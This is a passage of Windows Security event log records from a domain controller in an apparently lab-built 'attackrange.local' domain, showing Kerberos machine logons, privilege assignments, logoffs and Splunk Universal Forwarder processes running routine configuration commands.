3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250215 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x102972 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64413 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250214 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x102972 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250213 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10290C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250212 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10290C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64412 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250211 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10290C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250210 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1028AB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250209 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1028AB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64411 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250208 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1028AB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250207 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10272C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250206 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10272C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64410 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250205 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10272C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250204 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12bc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250203 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x129c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250202 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250253 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10fc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250252 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1314 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250250 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250249 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250248 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13e0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250247 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1038A4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250246 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1038A4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64418 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250245 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1038A4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250244 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1037EB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250243 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1360 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1044 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance 